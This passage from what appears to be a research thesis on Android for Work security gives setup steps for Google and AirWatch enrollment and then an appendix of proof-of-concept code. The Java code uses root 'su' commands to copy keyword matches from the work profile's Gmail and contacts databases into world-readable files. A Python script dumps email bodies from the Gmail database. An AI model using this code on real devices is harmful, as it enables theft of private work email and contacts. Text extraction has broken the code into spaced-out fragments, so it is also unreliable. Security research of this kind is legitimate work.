current root detection methods make this scenario an inevitability in the future.
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Further research into incorporating file-based encryption into standard operating
system as well as achieving on-the-fly encryption for data passing over the Binder
is suggested.
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9. Appendix

9.0.1 Setting Up Android for Work
The Android for Work solution can be set up in two different ways. Either
within Google’s MDM platform (Google Apps for Work) or in any other MDM
platform (AirWatch). In this appendix both methods are described.

Android for Work in Combination with Google Apps for Work

First step is to create a Google Apps for Work account at https://apps.google.com,
which requires name credentials and most important; the business or organisa-
tion domain name. During this project the domain themoves.nl is used. Two
methods were used in order for Google to verify whether the given domain is
really ours; modify both homepage and MX records of the domain (themoves.nl).
A meta tag containing a verification-token had to be added to the index.html
file, whereas the MX records had to be changed to Google’s mail servers.

It is mandatory to add users to the created work environment (admin panel)
in order to use all Google apps for Work functionalities. An email address and
password is automatically created when a new user (employee) is added.

After adding a user it is possible to enable Android for Work, which is
available from the get more apps and services button under the Common tasks
heading in the right sidebar. Here the subscription on the Android for Work
service can be enabled, which makes it possible to generate an EMM token
(a string of characters that EMM providers can use to connect or bind their
Android for Work solution to the Google Account[afwhelp ]) in the Security
section of the admin control panel.

The binding between the Google apps for Work account and Android for
Work is completed when the generated EMM token is filled in to the token field
in the Device management mobile settings.

All previous steps were needed in order to enable the Android for Work
solution on the MDM side. The following steps are performed at the device that
a user wants to enroll.

A device controller app needs to be installed, so that the policies that are
set at the MDM platform can be pushed to the device; Google’s Device Policy
App. The application will prompt the user to fill in his/her Google Business
account, which is the account that is created by the IT administrator in the
MDM platform. After this authentication the Device Policy app automatically
detects whether or not the device is Android for Work compatible.

The device is now enrolled, and displays both personal as work applications
on the menu.
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Android for Work in Combination with AirWatch

Setting up Android for Work for a non-Google MDM provider is slightly more
different than described in section [REF], since Android for Work recquires a
Google Business account for every Androi For work user. Therefore, the non-
Google MDM provider (AirWatch) has to generate an API call to create a Google
Business account when a compatible Android for Work needs to be enrolled. We
will see how this is achieved in the following steps.

The AirWatch MDM platform was already set up for us, so we can not
provide information about how this is achieved.

The first step is again to create a Google apss for work account with the
companies domain name. This time only the index.html verification is sufficient,
since email is not mandatory to flow via Google when using AirWatch.

A project has to be created on the console.developers.com website (log in
with Google Apps for Work account) where Google EMM, Admin SDK API and
Auth2 credentials need to be enabled/created in order for AirWatch to make
API calls to Google.

In the security section the Android for Work EMM token can be generated.
This time, the token is filled in to the Android for Work settings on the AirWatch
MDM platform, followed by adding the API credentials that were created. Now
AirWatch is bound to the Google App for Work account which was created at
step 1.

A device controller app has to be installed for an employee to enroll a
device to the AirWatch MDM platfor; AWMDM agent. Again, automatically
the app detects wheter or not the device is Android for Work ompatible, after
the employee has authenticated with his/her AirWatch user credentials. If the
device is Android for Work compatible, the user is prompted to create a Google
Business account. This leads to the API call to generate this account, and store
it in the user database of the given domain.

9.0.2 Application Code

1 pub l i c void buttonOnClickDraft (View v ) {
2 t ry {
3 Process proc = Runtime . getRuntime ( ) . exec ( " su && rm /

data/ l o c a l / d r a f t . txt && cat /data/ user /10/com . goog l e . android .gm
/databases / ma i l s t o r e . eric@themoves . n l . db−wal | grep −aE ’
keyword ’ > /data/ l o c a l / d r a f t . txt && chmod 777 /data/ l o c a l / d r a f t
. txt " ) ;

4 // proc . waitFor ( ) ;
5 } catch ( Exception e ) {
6 Log . d( "Except ions " , "Exception dropping caches : "+e ) ;
7 }
8

9 }
10

11 pub l i c void buttonOnClickDraft2 (View v ) {
12

13 F i l e sdcard = Environment . ge tExte rna lS to rageDi r e c to ry ( ) ;
14 F i l e f i l e = new F i l e ( "/data/ l o c a l /" , " d r a f t . txt " ) ;
15

16 TextView tv = (TextView ) findViewById (R. id . textView2 ) ;
17

18
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19

20 i f ( f i l e . e x i s t s ( ) ) {
21 St r i ngBu i l d e r text = new St r i ngBu i l d e r ( ) ;
22

23 t ry {
24 BufferedReader br = new BufferedReader (new

Fi leReader ( f i l e ) ) ;
25 St r ing l ine ;
26

27 while ( ( l ine = br . readLine ( ) ) != null ) {
28 text . append ( l ine ) ;
29 text . append ( ’ \n ’ ) ;
30 }
31 }
32 catch ( IOException e ) {
33 Log . d( "Except ions " , "Here i t i s "+e ) ;
34 }
35 // Set the text
36 tv . setText ( text ) ;
37 }
38 else {
39 tv . setText ( "−" ) ;
40 }
41

42 }
43

44 pub l i c void buttonOnClick (View v) {
45 t ry {
46 Process proc = Runtime . getRuntime ( ) . exec ( " su && rm /

data/ l o c a l / contact . txt && cat /data/ user /10/com . android .
p rov ide r s . contac t s / databases / contac t s2 . db | grep −aE ’ keyword ’
> /data/ l o c a l / contact . txt && chmod 777 /data/ l o c a l / contact . txt "
) ;

47 // proc . waitFor ( ) ;
48 } catch ( Exception e ) {
49 Log . d( "Except ions " , "Exception dropping caches : "+e ) ;
50 }
51

52 }
53

54 pub l i c void buttonOnClick2 (View v ) {
55

56 F i l e sdcard = Environment . ge tExte rna lS to rageDi r e c to ry ( ) ;
57 F i l e f i l e = new F i l e ( "/data/ l o c a l /" , " contact . txt " ) ;
58

59 TextView tv = (TextView ) findViewById (R. id . textView2 ) ;
60

61

62

63 i f ( f i l e . e x i s t s ( ) ) {
64 St r i ngBu i l d e r text = new St r i ngBu i l d e r ( ) ;
65

66 t ry {
67 BufferedReader br = new BufferedReader (new

Fi leReader ( f i l e ) ) ;
68 St r ing l ine ;
69

70 while ( ( l ine = br . readLine ( ) ) != null ) {
71 text . append ( l ine ) ;
72 text . append ( ’ \n ’ ) ;
73 }
74 }
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75 catch ( IOException e ) {
76 Log . d( "Except ions " , "Here i t i s "+e ) ;
77 }
78 // Set the text
79 tv . setText ( text ) ;
80 }
81 else {
82 tv . setText ( "−" ) ;
83 }
84

85 }
86

87 pub l i c void buttonOnClickMail1 (View v) {
88 t ry {
89 Process proc = Runtime . getRuntime ( ) . exec ( " su && rm /

data/ l o c a l /mail . txt && cat /data/ user /10/com . goog l e . android .gm/
databases / ma i l s t o r e . eric@themoves . n l . db | grep −aE ’ keyword ’ >
/data/ l o c a l /mail . txt && chmod 777 /data/ l o c a l /mail . txt " ) ;

90 // proc . waitFor ( ) ;
91 } catch ( Exception e ) {
92 Log . d( "Except ions " , "Exception dropping caches : "+e ) ;
93 }
94

95 }
96

97 pub l i c void emtpyField (View v) {
98 TextView tv = (TextView ) findViewById (R. id . textView2 ) ;
99 tv . setText ( "" ) ;

100 }
101

102 pub l i c void buttonOnClickMail2 (View v) {
103

104 F i l e sdcard = Environment . ge tExte rna lS to rageDi r e c to ry ( ) ;
105 F i l e f i l e = new F i l e ( "/data/ l o c a l /" , "mail . txt " ) ;
106

107 TextView tv = (TextView ) findViewById (R. id . textView2 ) ;
108

109

110

111 i f ( f i l e . e x i s t s ( ) ) {
112 St r i ngBu i l d e r text = new St r i ngBu i l d e r ( ) ;
113

114 t ry {
115 BufferedReader br = new BufferedReader (new

Fi leReader ( f i l e ) ) ;
116 St r ing l ine ;
117

118 while ( ( l ine = br . readLine ( ) ) != null ) {
119 text . append ( l ine ) ;
120 text . append ( ’ \n ’ ) ;
121 }
122 }
123 catch ( IOException e ) {
124 Log . d( "Except ions " , "Here i t i s "+e ) ;
125 }
126 // Set the text
127 tv . setText ( text ) ;
128 }
129 else {
130 tv . setText ( "−" ) ;
131 }
132
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133 }

9.0.3 Email extract script [pythonmail ]

1 import s q l i t e 3
2 import z l i b
3

4 good_chars=’ , .0123456789
@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz~ ’

5

6 conn = s q l i t e 3 . connect ( ’ ma i l s t o r e . eric@themoves . n l . db ’ )
7 cur so r = conn . cu r so r ( )
8 cur so r . execute ( " s e l e c t _id , fromAddress , sub ject , bodyCompressed

from messages " )
9 rows = cur so r . f e t c h a l l ( )

10

11 for row in rows :
12 fname = ( str ( row [ 0 ] ) + row [ 1 ] + row [ 2 ] ) [ : 4 8 ]
13 fname = ’ ’ . j o i n ( [ c for c in fname i f c in good_chars ] )
14 print fname
15 with open( fname + ’ . html ’ , ’wb ’ ) as f out :
16 i f row [ 3 ] :
17 data = z l i b . decompress ( row [ 3 ] )
18 f out . wr i t e ( ’<html><body>’ + data + ’</body></html>’ )
19

20 cur so r . c l o s e ( )
21 conn . c l o s e ( )
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